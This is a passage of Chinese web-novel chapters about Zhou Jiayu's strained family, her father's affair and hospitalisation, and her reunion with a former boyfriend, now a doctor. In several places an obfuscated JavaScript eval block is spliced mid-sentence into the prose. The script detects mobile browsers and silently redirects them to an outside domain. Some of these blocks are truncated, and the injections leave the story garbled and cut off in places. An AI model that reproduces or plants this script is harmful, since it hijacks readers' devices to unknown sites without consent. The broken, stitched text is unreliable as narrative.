《狐狸在雪夜来临》 1. 第 1 章 01 周家瑜拎着行李来到七号楼下,二单元的门口草坪边还是跟以前一样摆着两个垃圾箱,门口小路上四散着一些彩色的碎纸屑,不知道是小孩子的哪种玩具所留。 这个小区房龄已经有十五年,每次回来周家瑜都会发现它比记忆中要更老旧一些,一进楼道口右手边墙上钉着各种形状和颜色的订奶箱,上面写着品牌和订奶电话,往上走楼道的墙壁上有各种划痕和污渍。 找到钥匙打开房门,一股陌生又有点熟悉的味道扑面而来,是家里的味道,家里这个房子是两室一厅,两室朝阳,面积不到九十平方。 周元明自己开一个卖日常用品的小店,彭月华在一家公司当财务,两个人都还没回家,周家瑜回家之前已经在三个人的微信群里说了今天要回来的事情。 她把行李拎进卧室,自己以前的卧室里有人住,可以看出现在父母两个人属于分房状态,她打开冰箱看了看,转身拿着手机和钥匙下楼去了附近的蔬菜超市。 彭月华回家之后母女两个一起聊天做饭,快吃饭的时候周元明才到家,三口人一起吃晚饭,饭桌上周元明和彭月华因为生活琐事又吵了几句。 周家瑜对此已经见怪不怪,在她的记忆里,自己从小到大成长的过程中,父母两人一言不合就吵起来,真是熟悉的感觉,很久没回家她还是要劝一劝。 她把一道菜往中间推了推,“快尝一下我做的肉末豆腐。” 争吵中的两个人就此熄火。 周家瑜想可能因为今天自己在家,两个人已经按捺住大部分火气。 彭月华睡眠不好,晚上易醒,所以夫妻两个分开住,家瑜知道妈妈的睡眠状况,所以吃完饭让彭月华开车送自己去奶奶的房子住。 奶奶前年去世,把自己这辈子唯一的房产留给了孙女周家瑜,为此周元明有些意见,还一度让周家瑜把那套在老旧小区的房子卖掉,家里用来当首付置换一套位置更好面积更大的。 彭月华不同意,夫妻两个因为这件事吵过不少次。 最后周家瑜明确告诉周元明,“奶奶留给我的房子我不会卖。” 让本来就不亲密的父女关系从那之后变得更加淡漠。 奶奶家的房子平时彭月华负责通风打扫,干净程度可以直接拎包入住,母女一起聊了会天,快九点多的时候彭月华驱车离开,周家瑜本来想让她留宿,但她有认床的习惯。 只有自己的时候周家瑜仔细地在房间里转了转,家里奶奶留的物件已经不多了,她去世之前该捐的捐,该卖的卖,说自己走之前要把自己的东西处理完。 周家瑜睡前在卧室里点了香薰,在自己平时熟悉的味道中陷入沉沉的睡眠。 第二天,周家瑜早起去小区附近吃早餐,那家早餐店已经开了几十年,她小时候奶奶经常带她去吃。 现在她每次回来都要去那家店吃早餐,早上店里人太多,她不想等位就把吃的打包带走。 周家瑜拎着早餐走进小区,快到单元楼道口的时候发现楼下有人正在停电动车,只看得见背影,那人身形挺拔,肩膀开阔平直。 电动车可以找这样的背影代言,销量应该会不错。 她上楼的时候一路天马行空,以至于开门时身后有人叫她的名字她刚开始都没反应过来。 “家瑜?”说话的人有磁性温和的声音。 周家瑜身形顿了一下,察觉到背后那道注视自己的视线,她才察觉刚才的声音不是自己的幻听,两三秒后她转过身去。 陶舒朗正安静地看着自己,但他的视线如有实质,像是凝在自己身上。 周家瑜神色如常,但有些疑惑,她看了看自己家的门牌,又看了看对面的门牌。 没有走错楼道口,是自己家。 一分钟后,周家瑜坐在客厅里,面前的桌子上早餐有序地摆放,有自己买的,也有别人买的,陶舒朗这会正在厨房。 她又看了看客厅,恰好的空间陈设,舒服的桌椅还有桌子上的器皿,是陶舒朗会喜欢的风格,她自己也喜欢这种风格。 脚步声传来,陶舒朗把两个酸奶碗放在桌子上,原味的酸奶上面是坚果碎和切好的水果,周家瑜心中被某种熟悉的东西击中,她看着眼前的酸奶碗,不动声色地眨了下眼睛。 “昨天回来的吗?” “你在这住多久了?” 短暂的沉默后两个人异口同声。 他们看着彼此笑了起来,陶舒朗看着周家瑜的笑容,眼底有什么东西一闪而过,“你先说。” “嗯,昨天回来的。”周家瑜用筷子去夹切得正好可以入口的油条。 “嗯,”陶舒朗点了点头,“我三月份搬来的。” 周家瑜看了看四周,一切舒适又体面,房客大费周章的布置好像有长住的打算,“你把这个房子买下来了吗?” 陶舒朗点点头,“嗯。” “多少钱?”周家瑜出于对关城现在房价的好奇,自己住的和这套面积是一样的。 陶舒朗说了一个数字,周家瑜点了点头没说话。 周家瑜一早起来就去买早餐,她只洗了脸,头发简单扎起,她现在素面朝天,瓷白光滑的皮肤,脸上表情淡淡的,像一幅遥远的水墨画。 他在她表情上没有发现什么端倪。 吃完早饭后周家瑜起身帮忙收拾,陶舒朗没有拒绝,看着她在自己眼前走来走去,他看了一会又看向窗外,好像在研究落地窗框下来的那片天空有几片云彩,这会又飞过去几只飞鸟。 收拾完之后周家瑜起身告辞。 回到家后她靠在沙发上,手指在手机屏上滑动,她在好友列表中找到陶舒朗,两个人最后的聊天记录,上面显示的时间在三年前。 有时候一回顾过去才发现时间过得好快。 现在她的生活已经被自己的事情占据,她回顾过去的时间很少。 周家瑜这次回关城打算只待两天,中午她和彭月华约在公司附近的一家烧烤店吃午饭,彭月华坐在卡座里,店里空气里弥漫着烤肉的香味。 她嘴上怪周家瑜浪费钱,说明明可以去肉食专卖店买肉回家自己烤着吃,这会却要花几倍的价钱在外面吃。 周家瑜对这样的说辞丝毫不陌生,外面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501481|170363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不健康,在外面吃浪费钱。 她笑着看彭月华,“妈,你就成全一下我的孝心吧,当女儿的请妈妈吃一顿饭,我不想因为这个被批评呀。” 开动之前彭月华把盘子摆了摆,给午饭拍了一张自己满意的照片。 两个人边吃边聊,周家瑜发现彭月华喜欢吃这里的小葱泡菜,正想招手服务员再加一份的时候,她的眼睛忽然定在某个方向,然后她的胳膊放了下来,好想忘记自己刚才要做的事,只用夹子往彭月华碟子里夹刚烤好的肉。 彭月华感觉气氛有异,转身朝周家瑜看的方向看过去,两三秒之后她转过身来,表情很平静。 结账的时候周家瑜在柜台扫码付账,彭月华在一旁手里拿着小票核对上面的数量和价格。离彭月华下午上班还有一段时间,两个人在商场转了转,正好赶上有个不错的牌子在打折,周家瑜给彭月华买了一条裤子和一件上衣。 彭月华把衣服袋子放进车里,让女儿直接开自己车回家,周家瑜摆了摆手,“我还是叫车吧,我开走了你下班要坐地铁,这个天还是不要坐地铁了。” 路边大树下有长椅,周家瑜坐在那里看手机里网约车的位置,这时候正好一对男女有说有笑地走过来,因为路边篱笆和大树的缘故,对方看不见自己,但是周家瑜能听见他们说话的声音。 两个人在商量休息一下后下午去哪里玩。 人很快上车走了,周家瑜紧紧握住自己手里的手机,手被机子的棱角硌出痛感,这时出租车司机的电话把她的思绪打散。 回去的路上那两个人的声音一直在耳边回响,中午吃下去的烤肉这会因为精神上的恶心一阵阵地翻腾上涌。 她没直接回家,而是去了一个公园,公园有些年头,天气有点热,但公园里有活水还有茂密树木的遮挡,温度适宜,所以中午人也不少,有不爱午休的老头老太太,也有小孩子。 她在公园里坐着观察了一会,有一个十几岁的男生正在大力踹树,每用力踹一下,树上如碎米一样的小黄花就会扑簌簌地落一阵,男生好像对这个游戏有些上瘾。 周家瑜走上前跟他说了几句话,男生很快点点头,跟着她一起走了。 晚上彭月华没有跟平时一样经常加班,她早早回家手里拎着在菜市场刚买的新鲜排骨,晚上准备给周家瑜做蒜香排骨。 母女两个一直在厨房里各自忙活,到饭点周元明一直没回来,没有人打算问他还回不回家吃饭。 她们专心地吃着眼前的菜肴,关于中午吃饭时看到的那一幕,也没有要谈谈的打算。 两个人吃完饭的时候天才刚擦黑,可以听见楼下已经有邻居呼朋唤友一起作伴去散步,家中彭月华在拖地,周家瑜在洗碗,她打算收拾完就回奶奶家。 这时候彭月华的手机响了起来,因为洗碗池里水龙头正开着,周家瑜只听见外面模糊的说话声音。 她正把碗碟按照大小排序放在架子上沥干水分,转头看见彭月华站在厨房门口,脸上的表情跟平时有些不同,她告诉周家瑜,“刚才是医院打来电话,说你爸晕倒,路过的人把他送到医院去了。” 2. 第 2 章 周家瑜站在医院走廊旁,她看着窗外楼下的小花园,花园里人不少,多是有些无聊的陪护家属出去透透气或者跟来探病的亲朋在聊天。 她眼睛看着外面,表情毫无波澜。 “家瑜?” 她侧身看去,是陶舒朗,对了,据说他后来如愿以偿地成为医生,但是家瑜不知道他具体在哪家医院上班。 原来他在关城最好的一家医院,他还是跟以前一样,是精益求精的那种人。 走廊里的陶舒朗穿着医生工作服,挺拔得像在拍电视剧,他看上去跟周家瑜记忆中的都不太一样。 究竟是哪里不一样,她有一秒的冲动想去辨认这种不同,随即又打消了这种好奇的念头。 周家瑜看完他,又继续看向外面,没有打招呼或者交谈的打算。 对方的陌路人反应陶舒朗好像一点也没受影响,他在医院工作时,平时不说话时眼神平静,但让人有种说不上来的距离感,矛盾的是他说话声音好听并温和。 陶舒朗不声不响地在她旁边站了几分钟。 “我知道一个比较清静的地方,你要不要去那里坐坐?”陶舒朗说话时看着周家瑜的侧脸。 眼前的人有了反应,她点了点头。 陶舒朗在前面走着,周家瑜在后面跟着,三年来这条自己已经走过无数次的长廊今天变得有些不同。 电梯上行,轿厢中这会只有他们两个人,因为平时也要放病床,里面宽敞又安静,这会只有电梯滑动的声音。 两个人都没有说话。 出了电梯,周家瑜跟着陶舒朗走了一会,到了一个面积不大的天台,家瑜走到围栏处向下看,下面的人小了很多,头顶是晴空如洗的天空。 昨天晚上的一场急雨让今天的空气质量好了很多。 昨天晚上周元明因为晕倒被人送来医院,今天上午周家瑜已经知道当时跟周元明一起来的人是谁。 几年前刚发现自己父亲出轨的时候,她是恨周元明的,也恨那个女人。 几年过去,现在她成熟了一些,虽然一段关系中一个巴掌拍不响,但是她觉得主要问题还是在周元明身上。 他只想自己活得开心,没有责任感,并不在意自己的行为会给周围的人带来什么影响。 周元明身体问题不大,但是医生建议他住院观察几天再出院,昨天晚上他外出回到店里,看见店门被人泼了红色的油漆,大片凌乱的赤红猛地映入眼帘,效果悚然,他一时控制不住情绪,怒火攻心晕过去了。 到了医院没多久他就醒过来了,彭月华和周家瑜到的时候,他整个人陷在床里,脸色有些暗黄,半辈子引以为傲的英俊面容大打折扣。 他好像搞不清楚到底发生了什么事,失去意识之前身边还是自己喜欢的女人,醒来却发现早已相看两生厌的老婆和越来越不听话的女儿扎眼睛似地杵在自己跟前。 这种体验好似一场噩梦。 周家瑜这会站在天台上还在回味自己看到周元明当时表情的快意。 刚才一直沉浸在自己的思绪中,她突然反应过来自己是怎么上来的,她转身,看见陶舒朗坐在不远处的长椅上,手指在轻点手机。 大部分时候生活平淡如水,每天好像都一样,后一天就是前一天的复制叠加,一年又一年,感觉好像没有什么大的不同,但,实际一切都变了。 陶舒朗察觉到她的视线,息了屏幕,看着她有点放空的面容,冲她笑了笑,“有没有吃早饭?” 周家瑜这才意识到自己肚子很空,她看着陶舒朗头顶打理利落的短发,突然记起他还有一个俊秀的后脑勺,自己曾经拿手细细地丈量过每一寸。 “附近有什么推荐吗?”她的声音从对面传入他的耳中。 陶舒朗控制不住自己的心跳,他听见心脏在胸腔内怦怦跳动的声音,左手在她看不见的地方握了握,“南门有一家粥店,皮蛋瘦肉粥还不错。” “叫什么名字?” 他顿了一下,“我刚下夜班,也还没吃。” 对面的人没反应。 他又加了一句,“方不方便一起去吃个早餐?” 有人的坚持不好拒绝,“好阿。” 两个人在店里坐下,店里暗棕色的桌子看着有些年头了,上面有些污渍已经完全浸入木头纹理,看着就感觉摸上去会粘手。 陶舒朗已经脱下白大褂,身上是简单的白衣黑裤,他熟练地抽出两张纸巾,把它们叠在一起,舒展着胳膊擦拭周家瑜面前的桌面。 场景好像在书房里挥洒笔墨那样认真。 他们点的早餐很快上齐,礼尚往来,周家瑜给他盛了一碗粥,盛粥之前还有一个小插曲,陶舒朗看着周家瑜手里握着粥勺,就要伸手打算自己来。 结果两个人的手无意中碰到一起,陶舒朗的手顿了一下,然后又落回原位。 最后周家瑜如愿以偿地还了擦桌子的人情。 “你为什么会在医院,不舒服吗?” 周家瑜刚刚咽下一口温度适宜的咸粥,胃里顿时有些熨帖,“不是我,我爸这几天在医院观察一下。” 她不想吃饭的时候继续被追问打扰,索性直接一次说明白,“他把自己气晕了,没什么大问题。” 说这话的时候,她脸上带着吃到美味早餐的惬意,丝毫没有被说话内容影响到。 她说话的时候陶舒朗一直在看着她,周家瑜嘴唇大小适中,唇瓣丰润,嘴角微翘,是传说中的微笑唇,这会红润的唇瓣一口口含着美味的咸粥。 陶舒朗垂下眼睛,让自己的视线落在眼前的烧麦和小菜上,他夹了一只烧麦,是香菇鲜肉馅的,周家瑜喜欢的口味。 “我一会去跟同事打个招呼。” 周家瑜听到这句话筷子一顿,“不是什么大毛病,不用麻烦了。” 接着中间停顿了两三秒,她又加了一句,“谢谢你啊。” 陶舒朗本来脸色是正常的,听到她对自己说谢谢脸上表情变得有些晦涩,不过他很快恢复平静。 回到医院,彭月华正在病房外的长椅上坐着,周家瑜走上前去,把打包好的早餐递过去,“我爸后来说什么了吗?” 彭月华手里握着温热的打包盒,“还是昨天那些话,我本来想查监控看看是谁干的,结果你爸说门前的监控坏了有一段时间了,他最近还没来得及报修。” 周家瑜点点头,“嗯。” 彭月华从昨天晚上开始就一直在医院,周家瑜想让她回去休息休息,她不同意,说自己昨天来的时候带了一副降噪耳塞,休息得比预料中要好,她让周家瑜回家收拾收拾赶紧回江城。 周家瑜进病房看了看周元明,他闭着眼睛不知道是真的睡着了还是在闭目养神,不管他听不听得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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手机里进来几条信息,是去年结婚的密友在吐槽外卖员不把桶装水送到小区楼上,她和对方沟通无果,对方态度非常硬,后面她又说,发现现在很多人都戾气重,自己刚才对外卖员态度也不好,事后想想有点害怕了。 周家瑜看着密友的连环轰炸信息,虽然对方是在生气但是让人觉得很鲜活,周家瑜才发现自己好像很久没有好好地发过一次脾气了,她发现自己有点羡慕对方,她刚编辑了一句还是找店家处理吧,就听见有车停在自己跟前。 她把信息发送出去,然后息了屏幕。 路边停着一辆黑色的车,车身黑得发亮,干净得一尘不染,这会在阳光的照射下好像车企广告现场,车窗降下,里面溢出来一股冷气,陶舒朗正坐在主驾上。 正看着车外的她,周家瑜对上他的眼睛,他眼睛生得很好看,有些内双,有时候像单眼皮,睡不好的时候双眼皮就很明显,但无一例外的是他的眼睛一直很有神,以前笑的时候眼睛水润多情,看着你的时候好像全世界在围着你转。 周家瑜这会知道在医院为什么觉得他有些不同了,他的眼神变了,变得内敛深邃,水润的湖面变得波澜不惊。 他下车把行李箱放进后备箱,周家瑜坐在副驾上,上车后陶舒朗把车窗关上,又调了一下冷气。 车子汇入车流中,道路上车水马龙,人潮熙攘。 3. 第 3 章 在去高铁站的路上,周家瑜看着前面的路,她才发现这条有名的主干道最近新铺了路,连交通标志线都清晰分明。 平整的道路,车内舒缓的音乐和安静的气氛。 不知道是不是因为自己是独生女的关系,周家瑜一直都不想麻烦别人或者欠别人人情,陶舒朗上完夜班来送她,这个事实让她觉得亏欠。 她不想欠别人的,尤其是他,现在她唯一能做的就是礼貌一些。 她开始找话题,“最近这条路刚修过吗?” 陶舒朗看了她一眼,眼睛接着看向前方,“嗯,上个月刚修完,好像因为工期长还被打热线投诉过。” 周家瑜把胳膊搭在车窗上,“这样阿。” 在车里说话好像在做一个半私密的访谈,两个人距离近,但是大部分时间都看不到对方的脸和神色,会让人既戒备又会肆无忌惮。 陶舒朗骨节分明的手指紧握了一下方向盘又松开,他表情如常,“这几年你过得好不好?” 周家瑜想了想这个问题,“说不上好不好,感觉好像一直很忙,还行吧。” 她反问,“你怎么样?” “一般。” “你做了医生,恭喜你如愿以偿。” 他嘴唇弯了弯,眼底的神色却晦涩不明。 *** 电梯叮的一声打开,行李箱从轿厢里滑动出来,周家瑜关上房门打开灯,对她来说,父母的家,奶奶留给自己的那个家,还有江城这个租住的地方,三个地方中,对自己来说这里最有家的味道。 周家瑜大三的时候不少同学打算考研继续深造,她那时候只想快点上班,自己好早日实现经济独立,因为向家里伸手要生活费的滋味真的不好受。 江城因为这几年的城市发展定位,它要把自己发展成区域性的科技创新高地,趁着发展东风的势头,市里房价和房租也跟着水涨船高。 这里高昂的房租让刚毕业的周家瑜一开始选择跟人合租,和别人合租一年多之后,她决定即使多付一些钱也要自己单住,她不想上班回家之后还要面对合租室友不可预知的行为和打扰。 最后机缘巧合之下她租到了现在住的两居室,在江城一个人租住两居室是有点奢侈,但她这个房子不大,只有六十多个平方,有两个卧室,一大一小,小的那间的只能放一张单人床和书桌。 租下这个房子的情形她现在还记得,她跟中介约的是这个小区的另一个房子,是一室一厅,一进门那个房子就让她感觉非常不舒服,屋里还有一股从来没有闻过的奇怪味道,难以形容。 中介在旁边滔滔不绝,说这种户型非常适合女生一个人住,这个小区是市里有名的老小区,当年开盘的时候房子非常抢手,小区绿化好,周围生活便利,楼下停车免费并且车位充足等,还说今天她是第三个来看这个房子的,这种房源抢手得狠。 周家瑜听着只点了一下头,她在想中介没有觉得自己说的话矛盾吗。 在楼下告别中介,对刚看的房子印象不好,但是周家瑜意外地很喜欢这个小区,她打算在小区转转,去物业那里看看有没有要出租的房子。 她刚走到法桐成林的小路上,听见后面有人叫她姑娘。 她回头,是一个慈眉善目面带微笑的中年妇女,年纪五十多,怀里抱着一只非常可爱的卷毛小狗。 交谈得知,安姐在这个小区有一套房子,但是远在美国的儿子儿媳刚生了孩子,两个人工作都比较忙,他们夫妇两个打算去美国照看孩子。 安姐告诉周家瑜,她家这个房子以前从来没有出租过,当初是为了儿子读高中买的学区房,家里人对这个房子都很有感情,一直没出租也一直没卖,现在自己要出国了,没办法时不时来看看房子,所以有打算租出去。 周家瑜不知道自己当时为什么会跟着一个陌生人上楼,她事后想想有点后怕,后来一想,可能是安姐有着跟彭月华一样的微笑,那是一个女人经过岁月的洗礼后,让人非常安心的笑容。 房子非常整洁,家具不多,但让人觉得很舒适,真正让她决定租下这个房子的原因是那间小小的卧室,里面只有一张单人床和一张临窗的书桌。 当时正是春末夏初,周家瑜毕业已经一年多了,新生活中还是磨砺和憧憬并存,下午的阳光照进来,书桌上那扇不大的窗圈住了窗外的绿意,让人想起当时有人怀着对未来的憧憬,在窗下埋头苦读。 别人是学习,她是要在新的城市努力扎根生活。 就在那个瞬间,她很喜欢这个房间,也很喜欢这个房子。 现在,她在这个房子里已经住了快两年的时间,下班回家关上门自成一个小天地,她当然会羡慕在这个城市有自己房子的人,但是和几个中介打交道之后她也知道自己现在住的地方非常难得。 是一手房,没有差价,价格公道,房东人很不错,事也不多,快两年的时间内,周家瑜还给房东一家邮过几次当地的特产,他们在异国他乡收到家乡的美食非常开心。 这会,她把从家里带回来的东西收拾进自己那个容量不大但是一直都很够用的冰箱,这是自己目前拥有的唯一大件电器。 行李箱擦拭一遍后立在墙角,她坐在沙发上给彭月华打电话,告诉她自己已经到江城了,母女两个因为刚见过面,说了几句话就结束了通话。 接下来她把手指放在某个对话框上,还没说话的时候看见对方的状态是正在输入中。 下一秒,陶舒朗发来信息:“你到了吗?” “我刚到。” “嗯,收拾收拾早点休息,叔叔那边如果有什么情况我会通知你。” 周家瑜想说不需要这样做,周元明很快就会出院,她还没回复的时候,陶舒朗又发来一条信息:一会要进手术室,我先去做准备。 周家瑜回复:你去忙吧。 回到江城之后,周家瑜的生活跟过去的三年中没有什么不同,上班下班,自己逛超市,做饭收拾,时间充裕就鼓捣一些自己的爱好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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彭月华倒安慰起她来,“你之前不是说你们组长喜欢批评人和加班开会,离开这种工作环境可能也不是坏事。” 彭月华告诉她周元明恢复得不错已经出院了,还告诉家瑜,住院的最后几天医生护士的态度明显热络了一些。 周家瑜知道是什么原因。 结束视频后她拿起手机然后又把它放回原处。 运动完洗完澡,在自己喜欢的香气中她把头发细细吹干,她穿着松松的睡衣,手指轻轻地梳过头发去按摩头皮,头发吹得差不多后,她去阳台上晾毛巾,不经意间抬头看月亮,月亮的形状马上就要圆满,今天是农历十四。 在这种小圆满中周家瑜沉沉地陷入睡意,她最近睡眠还行,以为自己会跟往常一样一夜无梦到天明。 关城那条通往高铁站的主干道,在修路期间尘土飞扬,处处设障交通拥堵,修好之后,处处坦途畅通无阻。 人的情绪就如同路况一样反复。 周家瑜做了一个梦,潜意识里好像有钩子一样的东西把她拉入深渊。 中途因为强烈的不适她从睡梦中醒来,头上全是汗她起来去洗脸,在浴室里她看着镜子,里面是自己一双纠结和苦痛的眼睛。 深夜,一个人不设防。 4. 第 4 章 周家瑜失业后先是过了很逍遥的一个月,每天花费精力最多的事情就是今天要吃什么,每天早上和下午睡到自然醒,好像要把一辈子的睡眠都补回来。 都姿知道她现在不上班,大乎羡慕,两个人约着去逛街,周家瑜不上班最近已经很少化妆了,见都姿更没必要化妆。 两个人在一家常去的奶茶店见面,一碰面,都姿就盯着周家瑜的脸看,“真好呀,这不上班的限定皮肤。” 周家瑜和都姿是高中同学,高二高三两个人都在同一个班,本来没什么交集,周家瑜有天上学时被校外人员搭讪,当时都姿路过给她解了围,大手一挥直接折断烂桃花,因为这个校外人员是都姿表弟的狐朋狗友。 她们两个人因此结识,大学毕业后又正好都在江城工作,关系变得越来越好。 逛街的时候两个人闲聊,都姿随口问她今年的高中同学聚会去不去,之前的聚会周家瑜都是不去的。 周家瑜想也不想答道,“我就不去了,你们吃好喝好,”还貌似认真地叮嘱了都姿一句,“有好的男生记得给我留意一下。” 一天晚上十点多准备休息的时候周家瑜接到了都姿的电话。 都姿那头说自己刚从同学会回来,说谁谁谁变得自己都认不出来了,报上姓名对号入座更觉得眼前人变得面目全非。 聚会上的帅哥貌似是没有,不少年纪轻轻就变得很油腻,当年长着大众脸的男生进入社会后以几何级的速度变得自负。 帅哥没有,帅哥的八卦倒是有一则,因为有些离奇,所以想立即说给周家瑜听。 周家瑜平时都是十点多睡,接电话之前睡意已经酝酿得差不多了。 “你们家老胡呢?”老胡人并不老,和她们是同龄人,因为擅长体贴照顾都姿得到了老胡的称号。 “高中的八卦我跟他没有共鸣啊,他和我们又不是一个高中的。” 都姿和周家瑜高中在关城一中,是关城唯二最好的高中,另一所是关大附中,今天八卦的这个帅哥来自关大附中。 一听到关大附,周家瑜心里多少起了些波澜。 原来她们有一个同学对象处理涉外遗产,关城去年有人继承了一笔涉外遗产,金额有八位数,这个人还跟我们是同级,之前在关大附还是校草,据说名副其实,本人真的品学兼优,运动出色。 周家瑜听完没说话,都姿在电话那边说,“我也真的想天降一笔横财,这种人人生像开了挂,来这个世界就是经历享受的。” “有钱人也有有钱人的烦恼。”家瑜说了一句。 “既然做人都会有烦恼,我还是选择做有钱人的烦恼。” 聊到最后都姿问,“你听说过那届关大附的校草吗,”她又加了一句,“好像叫陶舒朗。” 周家瑜声线还很稳,“没听说过。” *** 天气见凉。 中秋节周家瑜回家过节,周元明看着脸色还可以,看起来恢复得不错,周家瑜上班之后,工资自己存着,过节的时候会给家里包红包,一人一个,数额相等。 周元明欣然接受,私底下可能还会嫌弃红包不够大,彭月华每次都是百般推辞,说自己有工资,让周家瑜好好存钱,以后会用得上,周家瑜坚持让她收下,彭月华说会给她存着。 周家瑜是家里唯一的小孩,在别人看来她会享受家里一切的资源,其实不然,周元明重男轻女,认为自家的是女孩,他乐得不用准备车和房,只等着女儿嫁人自己做岳父收彩礼和使唤人。 周元明开的小卖部,生意一直不错,周家瑜虽然从十几岁就开始渴望长大独立,但是她觉得自己应得的也不会白白让给别人。 当年知道周元明出轨之后,她直接去找彭月华求证,作为伴侣,彭月华早就知道周元明外面有相好的事。 周家瑜还记得当时母女两个的谈话。 周家瑜问彭月华为什么不直接离婚,彭月华说自己不会把到手的果实跟别人分享,周元明店里是不起眼但利润还可以的小生意,积少成多,这么多年下来积蓄客观。 当年生了女儿后,想起生育和养育孩子的苦,彭月华自己已经下定决心这辈子只生一个孩子,周元明家里只有一个从父母那里接手来的小卖部,不是有一个皇位要去继承,她自己单方面做了这个决定,并在周家瑜周岁的时候去做了结扎手术。 周元明一直不知道这件事,几年后无意中看到手术单子才得知真相,夫妻关系直接降到冰点。 彭月华很了解枕边人,周家瑜出生之后,周元明的态度非常明显,就是重男轻女,他好几次表示一定要生到儿子,而彭月华一直认为自己的身体自己做主,有一个女儿她已经很满足。 周元明出轨的根本原因之一是他想生儿子。 这个问题周家瑜也问过彭月华,如果周元明在外面有私生子怎么办,真的生了儿子,他会不会坚决地要求离婚。 周家瑜现在还记得彭月华当时的表情,带着笃定的似笑非笑,她说:“不会的,这个你放心。” 周家瑜目前是过得比较滋润的无业青年,彭月华的态度渐渐有了变化,之前是可以休息一段时间,好好考虑再找下一份工作。 这次回家她建议周家瑜去考公职,虽然工资没有之前在外企高,但是胜在稳定还很体面,找对象也很抢手,打卡工资一般水平,但公积金、养老金和职业年金综合加在一起,待遇还可以。 这个工作选项周家瑜之前从来没有考虑过,公职是稳定,但任何工作的稳定只是相对的,之前电视台的工作也还不是铁饭碗吗,体面吗,也并不见得。 找对象的加分项,周家瑜已经单身几年了,她目前觉得这样的状态挺好,找和不找好像都可以。 关城商业街上有一家衣服店是周家瑜经常去转的,她加了店主微信,店主朋友圈更新很频繁,一天十几条是常态,那家店主叫阿凡,周家瑜平时不看她的状态,想起来会点进去看看最近有什么好看的衣服。 她从阿凡的店里出来,手里拎着两个袋子,是刚买的初秋衣服,她发现真的是有点奇妙,每到换季的时候自己好像总是衣服不够穿。 九月份天高气爽,阳光明媚,有风,偶尔中午热到出汗也是让人舒适的,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501484|170363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是假期,路上人很多,人们像蚂蚁一样密密麻麻地分布在道路各处,这一簇人,那一簇人,看似无序,实际每个都有自己的路线,像陀螺一样,都在忙自己的。 她记得马路对面好像有家月饼连锁店,那家的蛋黄月饼不错。 在斑马线处等绿灯的时候,她看着对面的各色行人在自己眼前匆匆而过,其中有一对夫妻,女的挺着肚子,怀孕七八个月的样子,男的神采奕奕地扶着女的过马路。 脸上带着被爱情被生活滋润的惬意,男的还是周家瑜认识的人。 当事人已经走了过去,周家瑜还有点反应不过来,她在想自己刚才是不是眼花认错了人。 这时候,她身后传来一个人的声音,“他们看起来过得还不错对吗?” 周家瑜侧身,只见陶舒朗站在自己右手边,离自己很近,但她刚才一直没有察觉。 陶舒朗眼睛看着不远处那对夫妻,然后收回视线看向周家瑜,他表情平静,好像早就知道这件事。 周家瑜坐在咖啡厅里,眼睛看着桌子上摆放精致的下午茶,她在看巧克力挞,下午出来转转,试试衣服,压压马路,这会她发现再来个下午茶一切就有些圆满。 陶舒朗坐在对面看着她,外面是一个露天的阳光草坪庭院,外面大片的绿意把屋内映得复古明媚。 一年中最好的时光之一。 周家瑜看向陶舒朗,发现他正看着窗外,安静的侧脸像电影中需要反复回放的一帧。 她顺着他的视线看去,草坪上有一对情侣拎着气球在散步。 男生和女生一人手里拎着一个红气球,两个人边走边笑着聊天。 两个人同时把视线收回。 陶舒朗把巧克力挞转到周家瑜面前。 他主动打开话题,“我爸去年又再婚了,刚才看见的就是他对象,看样子他又要当爸了,这个我也是今天才知道。” 今天的所见所闻真的超出周家瑜预料,这会好奇心冲淡了她的食欲。 陶舒朗端起茶壶,精致的茶壶和他线条流畅的手合在一起,他给家瑜倒了一杯乌润的红茶。 红茶加奶是周家瑜以前爱喝的,现在她已经不太喝茶了,因为喝了茶晚上会睡不好,但是她没拒绝,只手指轻触了一下杯碟。 她觉得自己家里的事已经理不清,所以平时她很少关心别人家的私事,但她知道陶舒朗的妈妈关宴青是位性格鲜明的女士,他爸离婚后居然过得很不错,这让她觉得有点不真实。 陶舒朗知道周家瑜的顾虑,他手指碰了碰桌子上的餐刀,好像他现在正身处手术室,眼里是专业的专注还有淡漠。 “我妈去年年初去世了。”他声音有些平。 周家瑜嘴巴微张,“我今天才知道这件事,你...节哀。” 晚上周家瑜很快就睡着了,但她睡眠不稳,梦里有人在她对面坐着,神情严肃不苟言笑,对方的眼睛一直看着自己,眼底情绪有些复杂,后来周家瑜才知道那是怨恨和不甘心。 关宴青当时看着周家瑜对她说,“我不同意你和舒朗在一起,你们肯定会分手。” 5. 第 5 章 